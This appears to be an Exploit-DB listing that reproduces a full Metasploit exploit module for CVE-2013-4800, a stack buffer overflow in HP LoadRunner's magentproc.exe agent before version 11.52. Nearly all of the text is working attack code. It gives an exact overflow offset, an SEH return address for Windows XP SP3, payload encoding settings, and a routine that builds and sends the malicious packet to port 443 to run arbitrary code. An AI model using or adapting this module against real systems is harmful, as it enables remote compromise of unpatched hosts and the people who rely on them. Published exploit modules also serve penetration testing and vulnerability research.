HP LoadRunner - 'magentproc.exe' Remote Overflow (Metasploit)

EDB-ID:

28809


Platform:

Windows

Published:

2013-10-08

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP LoadRunner magentproc.exe Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in HP LoadRunner before 11.52. The
        vulnerability exists on the LoadRunner Agent Process magentproc.exe. By sending
        a specially crafted packet, an attacker may be able to execute arbitrary code.
      },
      'Author'         =>
        [
          'Unknown', # Original discovery # From Tenable Network Security
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2013-4800'],
          ['OSVDB', '95644'],
          ['http://www.zerodayinitiative.com/advisories/ZDI-13-169/']
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'SSLVersion' => 'SSL3',
          'PrependMigrate' => true
        },
      'Payload'        =>
        {
          'Space'    => 4096,
          'DisableNops' => true,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Platform'       => 'win',
      'DefaultTarget'  => 0,
      'Targets'        =>
        [
          [
            'Windows XP SP3 / HP LoadRunner 11.50',
            {
              # magentproc.exe 11.50.2042.0
              'Offset' => 1104,
              'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates
              'Crash' => 6000 # Length needed to ensure an exception
            }
          ]
        ],
      'DisclosureDate' => 'Jul 27 2013'))

      register_options([Opt::RPORT(443)], self.class)
  end

  def exploit

    req = [0xffffffff].pack("N") # Fake Length
    req << rand_text(target['Offset'])
    req << generate_seh_record(target.ret)
    req << payload.encoded
    req << rand_text(target['Crash'])

    connect
    print_status("Sending malicious request...")
    sock.put(req)
    disconnect

  end
end